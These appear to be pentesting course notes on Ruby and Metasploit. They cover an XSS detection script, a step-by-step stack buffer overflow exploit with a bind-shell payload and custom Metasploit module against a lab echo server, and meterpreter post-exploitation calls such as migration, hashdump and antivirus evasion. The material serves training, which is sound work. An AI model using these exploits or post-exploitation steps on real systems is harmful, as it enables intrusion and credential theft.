If we have a 'script' node in the tree, it means that the browser parses it as a script node too and executes its code:
alert(12345)
# another strategy is to search the string alert(12345) and check if its contained in a script node
# nokogiri treats text as a TextNode that must be contained in some ElementNode
# in this case, the ElementNode must be a script node while the TextNode must contains the string 'alert(12345)'

With xpath query, we can search through all of the text nodes in order to find the one that contains the alert

Example:

text()[contains(.,' alert(12345)')]

Text is used to select all the text nodes of the entire html document

The [] brackets are used to extract nodes that satisfies a particular condition

Contains is a xpath function that checks if a particular string contains another string (first argument - second argument)

So For each text = (. point), it tests if cotnains the second argument (alert12345)

We can execute the query to our parsed document using the xpath function:

doc.xpath("//text()[contains(.,' alert(12345)')]") 

// the output will be an array of nodes that satisfy our xpath query

We want to test if its parent is a script node:

el = doc.xpath("//text()[contains(.,' alert(12345)')]") 
el.first
el.first.parent
el.first.parent.name
el.first.parent.to_html

We can see also the HTML code of the node that contains the injected script:

el.first.parent.parent.to_html
# so we can confirm the we have inject a real script that will be executed by any browser

A simple Tool to detect XSS

Usage:

ruby detect_xss.rb <full url> <target parameter>

<div> <?php echo $_GET['param'] ?></div>
<div> <?php echp htmlspecialchars($_GET['param'],ENT_QUOTES, 'UTF-8') ?> </div>

// in the first div the script was injected correctly, but in the second one it was filtered.

→ ruby detect_xss.rb http://localhost/xss1.php?param=123 param


require 'nokogiri'
require 'open-uri'
require 'cgi'

Target = URI(ARGV[0])
Parameter = ARGV[1]

XSS_VECTORS = ["<script> alert(123456)</script>"]
Testing_Values = [" alert(123456)"]

Query = CGI.parse(Target.query)

XSS_VECTORS.zip(Testing_Values).each do |vect, test|
  Query[Parameter] = vect
  Target.query = URI.encode_www_form(Query)
  doc = Nokogiri::HTML(open(Target))

  doc.search("//text()[contains(.,'#{test}')]").each do |el|
    if el.parent.name == 'script'
      puts "------ Probable XSS found --------"
      puts "Injection Vector: #{vect}","\n"
      puts "FOUND IN THE FOLLOWING CODE"
      puts el.parent.parent.to_html
      puts "------------------------------------------","\n"
    end
  end
end

Sometimes the simple <script> does not work, so we need to be more sophisticated

Example:

' onclick=alert(12345) b='

in case we have a code that does not filter single quotes

Exercises

1 - CMS Detection

The first exercise u could do is to detect if a particular web app uses a CMS
1way - check the response headers of the resources of the webapp in order to find some interesting values (For example X-Powered-By response headers)
2 way - test if the webapp resource URLs follow a particular pattern

2 - Hidden Files

Hidden files detector
sometimes, web devs leave backup or config files in the webapp
common hidden files that can give information are web.config.bak or php.ini.back and so on
the script could read this particular file name from a list (a file For example) and create a GET request to the specific target resource to check if they are available

3 - Indexing & Crawling

develop ur own web crawler or indexing tool
start from the home page of a webapp and list (and download if u are developing a crawler) all of the resources u can find in the web page.
u may have to choose the page selection policy, URL restriction, the strategy to detect if a page has been already crawled etc.
advanced crawlers take into account other problems such as efficiency, faults (timeouts, restricted pages, etc), bandwidth saturation and so on.

4 - Subdomain enumeration

u can use some strategies already used For crawling or hidden files but u can also web search engines (such as google)

Exploitation

ELS Echo Server

The Exploit

ELS Echo Server

its a simple echo server that sends back all the messages that it receives
available at the address 172.16.5.10 port 7707. it runs xp sp3

the service

s = TCPSocket.new "172.16.5.10",7707
s.gets
# Output: 'els echo server 1.1'

s.puts "hello world"
s.gets
# Output: 'hello world - echo server'

It responds only to the first message because it closes the connection after the response:

s.puts "a message"
s.gets
# Output: 'a message - echo server'

s.puts "another message"
# Output: Errno::EPIPE: Broken pipe

Bug detection

common attacks require bad programming
in this case, the echo server has a common c++ programming bug, the size of the received data from the user is not checked causing a buffer overflow possibility

Example. lets send a lot of data to the server:

s = TCPSocket.new "172.16.5.10",7707
s.gets
s.puts "A"*100

we do not receive a response, we can assume that the server is crashed

the most common technique to overwrite the Return Address is by using a CALL ESP instruction address (usually located in Kernel32.dll) and then put the malicious code after the local variables space.
This holds because ESP stores the top of the stack and when the RET is executed, the input_copy frame is erased and the top of the stack contains our malicious code executed next by the CALL ESP.

Therefore to correctly exploit the vulnerability, we have to detect where to insert the CALL ESP address and the malicious PAYLOAD.

The Exploit

Identify the Buffer Overflow space

We have to find the position of the return address

Fuzzing

its an incremental technique to detect the correct position of the return address and its mainly used when we cannot debug the vulnerable service.
hackers use fuzzers only if they cannot debug the target application by themselves.

If u have access to the executable, u can use tools such as:

→ Immunity Debugger = https://www.immunityinc.com/products/debugger/
→ IDA pro = https://www.hex-rays.com/products/ida/
→ Ollydbg = http://www.ollydbg.de/

Using a Debugger

lets use Immunity Debugger
set a breaking point on the RETN instruction of the input_copy function. cause we want to check the value of the EIP register after the return.

To detect where the return address location is (offset from the vulnerable buffer), we can use two metasploit tools:

pattern_create.rb
pattern_offset.rb
/usr/share/metasploit-framework/tools/exploit/

First we create a pattern:

./pattern_create.rb -l 100 or msf-pattern_create -l 100

Then we send the string to the echo server:

s = TCPSocket.new "172.16.5.10","7707"
s.gets
s.puts "<the pattern_create string>"

after the crash we get the value of EIP, in this case 35624134

Now we use the second payload with this value:

./pattern_offset.rb -q <35624134> 100 or msf-pattern_offset -q <query>
# Exact match at offset 44

This means that our script must have 44 character followed by a CALL ESP (or JMP) instruction address

Writing the Payload

Preamble

its the space between the first byte of the vulnerable buffer and the return address. we have seen that its length is 44 bytes
this means that we can insert whatever we want in these bytes since they are not relevant. usually is a common convention to insert NOP operations as preamble (\x90 is the HEX code For NOP)

In Ruby:

preamble = "\x90"*44

Return address

in Windows XP SP3 we can use 0x7C868667 For a CALL ESP instruction

We need to use Big-Endian, so:

return_address = "\x67\x86\x86\x7c"

The payload

before adding the real malicious payload logic, remember that after the return address, there is space allocated For the arguments passed to call the function.

Does not need to be the exact size, just insert enough NOPs before the real malicious payload:

nop,nop,nop
nop
CALL ESP address	-> EIP register
nop
nop
malicious payload

→ arguments_nop = “\x90”*10

metasploit helps us with two tools: msfpayload and msfencode
the first one can be used to generate the payload
the second can be used to encode the payload in order to avoid bad characters
Since the vulnerability is caused by a strcpy in a C++ application, we must avoid the \x00 character (end of line); this is because strcpy will stop the copy if it encounters these bytes

msfpayload windows/exec CMD=calc.exe R | msfencode -b "\x00" -t rb
# buf = "<the generate payload>"

So, we copy the payload to our ruby script:

calc_payload = <the generate payload>

Then we concatenate all parts previously generated:

exploit = preamble + return_address + arguments_nop + calc_payload

Exploitation

we can add a simple TCP connection to send the payload

Our full script:

preamble = "\x90"*44
return_address = "\x67\x86\x86\x7c"
arguments_nop = "\x90"*10
calc_payload = <the generate payload>
exploit = preamble + return_address + arguments_nop + calc_payload

host,port = ARGV[0],ARGV[1]
require 'socket'
TCPSocket.open(host,port) {|s| s.puts exploit}

Usage:

ruby echo_payload.rb 172.16.5.10 7707

On the server machine, a calculator has been executed. The exploit works.

Shell on the victim

Instead of open a calculator, we can open a bind or reverse connection

With metasploit:

windows/shell_bind_tcp

go to the msfconsole
and see the options we can set

msfpayload windows/shell_bind_tcp LPORT=1117 R | msfencode -b "\x00" -t rb
# <output of payload>

we can use the same structure of the calc exploitation we just have to change the malicious payload

after sending the payload
we must open a telnet in that port

In kali:

telnet 172.16.5.10 1117
# we have a shell

Metasploit

Introduction

ELS Echo Server

Architecture and Framework

Explore and write the ELS Echo module

Meterpreter scripting

Introduction

Metasploit is a pentest framework designed to quickly use and develop exploits, payloads, encoders and much more.

→ http://www.metasploit.com/

ELS Echo Server

in the example our target is a win xp sp3 machine
ip: 172.16.5.10 port:7707

The service

It just echos the messages:

s = TCPSocket.new "172.16.5.10","7707"
s.gets
# Output: gets banner
s.puts "hello world"
s.gets
# Output: "hello world"

The vulnerability

If we send to many characters the service will crash:

s.puts "A"*100
# crashes

Now we want to automate the exploitation phase. This avoids having to write a custom script (or a payload) each time we find an ELS Echo Server.

Exploitation with Metasploit

 → run msfconsole
 → use exploit/windows/els/echoserv
 → info
 → check // we can use this command, to see if the target is exploitable
 → set PAYLOAD < preferred payload >
 → set lhost and lport
 → exploit
 # to get a meterpreter session

Architecture and Framework

→ https://github.com/rapid7/metasploit-framework/wiki#metasploit-development

Metasploit framework Architecture

	libraries	interfaces
tools >	Rex	Console
	MSF CORE	CLI
plugins >	MSF BASE	< WEB
modules
payloads	exploits	encoders	post-modules	auxiliary

Path in kali:

/usr/share/metasploit-framework

Path useful For local user modules and plugins:

~/.msf4

Interfaces

Msfconsole

The most used one. its a complex interface and a shell command too.
with the msfconsole -h option we can see usage information

Msfcli

its the command-line interface into the metasploit framework.
u can use to launch exploits or handler quickly
its the best choice if u already know what u have to do and u do not want to use the msfconsole
using msfcli -h option we can see usage information

Example:

msfcli exploit/windows/els/echoserv RHOST=172.16.5.10 E
// E = execute 
// rport,target and payloads options are taken as default

Web interface

Usage:

 → service metasploit start
 → its in localhost:3790
 → to use it, a registration is required but its free and quick

u can build your own projects and perform the same things u can do with msfconsole

Usage example:

search modules > echoserv

now we can set the options through the interface
after running, we get a meterpreter session in the sessions tab

We have various features to interact with the session:

- // collect system data, virtual desktop, access filesystem, search filesystem, command shell, create proxy pivot, create VPN pivot, terminate session

it may be useful if u have to automate a lot of tasks
however some features are not available in the free community version (like auto-exploitation)

Others

→ /usr/share/metasploit-framework > ls

then check the options with -h to list more information

Example:

msfvenom -h

Libraries

→ /usr/share/metasploit-framework/lib > ls

→ moreover the libraries: https://github.com/rapid7/metasploit-framework/blob/master/documentation/developers_guide.pdf

u can explore its modules, classes, utilities etc to use its libraries in your scripts without using any Metasploit interface
https://github.com/rapid7/metasploit-framework/wiki#metasploit-development
Metasploit provides very good API documentation that shows u the code of each method u want to know

→ https://rapid7.github.io/metasploit-framework/api/

Rex library

Ruby extension library is the most important of the entire framework
it provides a collection of basic classes and modules useful For almost all of the framework tasks: protocols, sockets, services, encoders, text transformations and so on.

→ /usr/share/metasploit-framework/lib/rex/ > ls

moreover, u can see that the API documentation may help u to understand all of the features of Rex: http://rapid7.github.io/metasploit-framework/api/

Core library

It implements the set of classes and utilities that can be used as an interface to the framework modules and plugins

→ /usr/share/metasploit-framework/lib/msf/core > ls

can be used with an instance based approach
The instance contains the entire framework state and u can create it using the Msf::Framework.new
the core instance can manage modules, plugins, sessions, jobs and so on
it uses features of the Rex library
u can also use the API documentation (Msf node in this case)
it also contains classes defined in the Base library

Base library

its developed on top of the Core library and it makes easier to interact with the framework structure. its purpose is to provide simplified and more user-friendly APIs to improve and speed up the development
/usr/share/metasploit-framework/lib/msf/base > ls

Modules

the part that users uses to perform exploitations and penetration testing activities
if a new payload module is developed, all of the exploits can automatically use it thanks to the framework structure.

→ /usr/share/metasploit-framework/modules

Modules:

- payloads
- exploits
- encoders
- post-modules
- auxiliary

exploits

→ /usr/share/metasploit-framework/modules/exploits

handlers are exploits modules too.

For example:

use exploit/multi/handler

reverse connections can be used to bypass NAT rules since it is the victim that starts the handshake

auxiliary

are used to perform operations different from exploitation. they are generally used when there is no need of a payload or a target.
like Denial of Services (DOS) attacks while some other are used as scanners, information collections and so on.

payloads

u will always use a payload module when u launch an exploit (remember that u usually do a SET PAYLOAD command)
they encapsulate the real malicious code that is going to be executed if the exploitation succeeds (the raw instructions that make it possible to take control of the target machine exploited)

→ /usr/share/metasploit-framework/modules/payloads

Types:

 → single
 → stagers
 → stages

single: (me) has all of the raw code to perform a particular task. example: bind_shell is a single payload because it does not require additional code.
a meterpreter connection requires a stager and a staged payload
stager: is used to setup the connection between the target and the attacker machine
then, a staged payload is sent to the target victim and its the real malicious raw code.

Nops and Encoders

are modules related to the exploitation phase
nops modules are used to generate instructions that have no effect to the target machine. A typical nop instruction is \x90
some nops are detected by AV, therefore metasploit provides some nops generator modules that u can use to generate more sophisticated ones.

Encoders are another type of module used to improve your payload generation in order to make them undetectable from AVs:

/usr/share/metasploit-framework/modules/encoders
/usr/share/metasploit-framework/modules/nops

Post

used to perform post exploitation tasks and theregore they may be require an active meterpreter session to interact with as an option.

We can use with run command:

run post/*
- /usr/share/metasploit-framework/modules/post

Plugin

used to extend framework capabilities
often they are developed to provide a bridge between the metasploit framework and other pentesting tools

→ /usr/share/metasploit-framework/plugins

Some plugin are related to other pentest tools, such as:

- openvas
- nessus
- nexpose

Tools

are particular scripts that mainly use the Ruby Extension library (Rex) to perform some tasks that do not require any framework interaction or structure.
if u want to use some Rex classes or features, u r writing what is called a metasploit dependent tool and u have to include it the Rex library.

→ /usr/share/metasploit-framework/tools

Example:

pattern_create.rb
pattern_offset.rb

Write a Module

Module type and location

first thing > identify the module type

In this case, the module that we are going to develop is an exploitation module (since we want to exploit a buffer overflow vulnerability of the els echo server)

we know that it targets apps running on Windows
these infos are important cause it tells us where the real Ruby file module must be stored in order to make it recognizable by the framework

Usage:

use exploit/windows/els/echoserv

We can put the module in two places:

/usr/share/metasploit-framework/modules/exploits/windows
# the framework file system

~/.msf4/modules/exploits/windows
# the dir reserved to the private user modules and plugins

the second is better cause avoids any problems related to the framework updates

Start the postgredb:

systemctl start postgresql.service
updatedb
msfconsole # only then the msf will recognize ur new module

Module high level structure

High level structure of a generic module:

module type
module requirements
module information
module operations

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(info,
        'Name' => 'Exploit name',
        'Description' => %q{ This module exploits a .....}, # end of description
        'Author' => 'the author name', #-------
      )
    )
  end

  def check
    # ----
  end

  def exploit
    # ----
  end
end

in this case, we are going to do a bof exploitation
msf/core library is almost always required For metasploit module

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  # module body
end

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Exploit/Remote

The remote exploit class is a specialization of the exploit module class that is geared toward exploits are performed against targets other than the local machine. This typically implies exploiting other machines via a network connection, though its not limited to this scope

Since the connection we want to establish with the vuln target is a tcp, we need to set the right methods

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Exploit/Remote/Tcp

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  # we need a tcp connection
  include Exploit::Remote::Tcp
  # module body
end

the reload command in metasploit can be used to reload the changes u have made in the module.

Module information

first thing to do is initialize the module with the information related to the module itself
another way to explore the metasploit documentation is by taking a look at the code shown by the initialiaze API For each class of the class chain.

Example:

Class: Msf::Exploit::Remote
Object < Module < Msf::Exploit < Msf::Exploit::Remote

To set module information:

def initialize(info = {})
  super(
    update_info(info,
      'Name' => 'Els ECHO Server',
      'Description' => %q{
        This module exploits a buffer overflow found in the Els ECHO Server.
      },
      'Author' => 'eLearnSecurity',
      'License' => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'RPORT' => '7707'
        },
      'Payload' =>
        {
          'BadChars' => "\x00",
        },
      'Platform' => 'win',
      'Targets' =>
        [
          ['Windows XP SP3', { 'Ret' => 0x7c868667 }],
          ['Windows 7', { 'Ret' => 0x772A2E2B }]
        ],
      'DefaultTarget' => 0
    ) # End of update_info
  ) # End of super
end # End initialize

EXITFUNC => process means that when u close the connection with the specified payload (meterpreter, shell, etc..) the remote process ends too; its not available For further connections.

Payload is used to specify information about the payload generation (encoding, character to avoid, space and so on). In this case we only need to specify one bad character \x00

Platform=>win means that the target platform is Windows. When we use show payloads command, only Windows payloads will be displayed.

Targets is used to specify information about the various type of targets

Differents OSs have different return addresses to use in the exploit (the address of a CALL ESP For example). Therefore, using Targets, u can parameterize the script.

DefaultTarget=>0 means that when u load the module (use command) the TARGET value is already set to 0; in our case its Windows XP SP3 (the first value in the Targets array)

show options
# when we load the module we have some options set like RPORT and TARGET

The check method

check is used to verify if the target is exploitable and its not a mandatory command (its not used by pentesters)

In msf:

check

# its gonna check the target and default port 

it checks the banner with s.gets
if the banner is ELS Echo Server 1.1, we treat the target service as vulnerable

def check
  connect
  banner = sock.gets()
  disconnect
	
  if (banner =~/ELS Echo Server 1.1/)
    return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
end
# other module methods

Connect is used to create a tcp connection to the remote target

The target information will be retrieved from RHOST and RPORT parameters

Its a method provided by Remote::Tcp

The attribute to interact with the TCP connection is sock:

socks.gets() 
# to get the banner sent by the server

after getting the banner, we can verify its value and return it

The exploit method

it wraps the real exploitation logic code

→ use exploit/windows/els/echoserv

Set options:

def exploit
  connect
  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")

  handler

  print_status("Trying target #{target.name}")
  buff = "\x90"*44 + [target.ret].pack('V') + "\x90"*10 + payload.encoded
  sock.put(buff)
  disconnect
end

Connect is used to establish a TCP connection with the target RHOST and RPORT

Print_status outputs some information while datastore is an array that contains the framework options.

Handler is used to open a listening socket to the LHOST and LPORT

Buff stores our full payload

Target and payload are two attributes provided by the Msf::Exploit::Remote class.

Moreover:

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Module/Target

→ http://www.rubydoc.info/github/rapid7/metasploit-framework/Msf/Payload

The payload first sends 44 nops

target.ret, get the return address specified in the initialize method
pack(‘V’) method is used to convert the return address (target.ret) into binary sequence (32-bit little endian).
after that, we add more nops
payload.encoded stores the encoded payload. it takes into account the parameter set in the module configuration
the sock attribute can be used to interact with the service
with sock.put(buff), we send the entire payload (buff) to the server using the available socket
disconnect, closes the connection
if the exploitation succeeds, we will obtain a meterpreter session. thanks to the handler, the stream is automatically opened.

We are using the \x90 as Nops, but the metasploit framework allows us to generate sophisticated nops with the make_nops instruction>

buff = make_nops(44) + [target.ret].pack('V') + make_nops(10) + payload.encoded

We can parameterize the buffer generation using some Payload parameters:

'Payload' =>
{
  'Offset-1' => 44,
  'Offset-2' => 10,
  'BadChars' =: "\x00",
}

buff = make_nops(payload_info['Offset-1']) + [target.ret].pack('V') + make_nops(payload_info['Offset-2']) + payload.encoded

we can also parameterize the buffer generation using Target parameters

Its a common situation where different targets requires different offset or payload spaces to perform the exploitation

Targets considerations

we have 2 targets, xp and win7
xp does not implement ASLR (Address space layout randomization) like win7 does
if u want to test in another system, u have to get the return address of that system, its the CALL ESP or similar (JMP ESP For example)

Find the address of a win7 using findjmp.exe tool:

findjmp.exe Kernel32.dll ESP
# Output: 0x77252E2B call esp

Now we can insert this address in our module For the correct target:

‘Windows 7’,{ ‘Ret’=>0x77252E2B}

Meterpreter Scripting

its one of the payloads available in the metasploit framework
it has different types of penetest activities such as data harvesting, pivoting and so on.

Meterpreter Basic API

Explore the code available:

/usr/share/metasploit-framework/lib/rex/post/meterpreter

u can test the APIs using the irb interpreter available in each meterpreter session

Default meterpreter scripts can be found here:

/usr/share/metasploit-framework/scripts/meterpreter

examples: hashdump, killav, migrate, scraper, autoroute and so on
we can use them with the run command

U can execute your own meterpreter scripts by putting them in your local dir:

.msf4/scripts/meterpreter/

video

In meterpreter session:

irb
client.session_host # ip of the target machine
client.session_port 
client.methods # list of methods that we can use
client.methods.each{ |m| puts m}
client.public_methods.each{ |m| puts m}
client.info # show current user
client.exploit # info about the payload used
client.exploit.datastore['PAYLOAD']
client.print_good "OK"
client.print_status "OK"
client.print_warning "OK"
client.print_error "OK"

→ /usr/share/metasploit-framework/lib/rex/post

edit meterpreter.rb

cd meterpreter - edit client.rb:

client.core
client.sniffer # error
client.use["sniffer"] # error
client.core.use["sniffer"] # it works

Now we can use the sniffer extension:

client.sniffer

In meterpreter:

use sniffer
sniffer 
# it shows the options

In irb:

client.sniffer
client.sniffer.interfaces[0]['description']

irb:

Grab the PID that u want to migrate with ps:

client.core.migrate(552) # true
getpid // get current PID

fs and file

client.fs.dir.pwd # current path
client.fs.dir.entries # list the directory
client.fs.dir.chdir("../") # cd to parent folder
client.fs.file.search(client.fs.dir.pwd,"*.exe") //list all exe files in the dir
client.fs.file.stat("<file>") # get info about the file
client.fs.file.exists? "<file>" # true or false

unlink or delete //to delete a file
upload or download

sys config

client.sys.config.getuid # the same as getuid in meterpreter
client.sys.config.sysinfo
client.platform
client.sys.config.getprivs

sys process

client.sys.process.getpid # current pid
client.sys.process.processes[0]
client.sys.process['explorer.exe'] # pid of the process
client.sys.process.kill(368)

net config

config.net.config.get_interfaces[0]
config.net.config.get_interfaces[0].class
config.net.config.get_interfaces[0].addrs
config.net.config.get_interfaces[0].pretty
puts config.net.config.get_interfaces[0].pretty
client.net.config.each_interface { |i| puts i.pretty }
config.net.config.netstat[0]
config.net.config.arp_table[0]
config.net.config.arp_table[0].ip_addr
config.net.config.arp_table[0].mac_addr

- more options For client.net.config.<option>:
get_routes
add_route
remove_route
get_proxy_config
resolve # to get dns

sys power

client.sys.power.shutdown 
# shutdown the victim machine

scraper

In meterpreter:

run scraper -h 
# get system info including network shares, registry hives and password hashes

copy the meterpreter_script_template.rb to .msf4/scripts/meterpreter

Share on

Twitter Facebook LinkedIn

7 - Metasploit & Ruby

Ruby Essentials

Installation and First Look

Getting Started

Suggestions

The power of Ruby

Libraries

RubyGems

Data Types

Numbers

Float

Anticipation

Comments

Strings

Info about strings

Here document notation

string Arithmetic

String substitution

Interpolation

Some useful methods

Array

Insertions

Deletion

concatenation

Operations between arrays

stack

Some useful methods

Arrays and Strings

References

Ranges and Hash

Hashes

Basic Control Structures

Comparison Operator

Conditionals

Unless

Case

Ternary Operator

Loops

Iterators

Enumerable Objects

Enumerator

External Iterators

Altering Structured Control Flow

Begin / End

Methods

Simple method definitions

Parentheses

Alias

Parameters Default Values

Variable Length Arguments

Hashes as Arguments

Block Arguments

Bang methods

Returned Values

Variables & Scope

Local variables

Global variables

Instance & Class Variables

Constants

tricks

Classes Principles

Instance Variables

Getter / Setter through Metaprogramming

Class Methods

Class Variables

Class Contants

Open Classes

Operator Methods

Mutable / Immutable values

Method Visibility

Private Methods

Protected Methods

A full view

Subclassing & Inheritance

Simple extensions

Methods Overriding

Specialize a Method

Instance and Class Variables

Constants

Private methods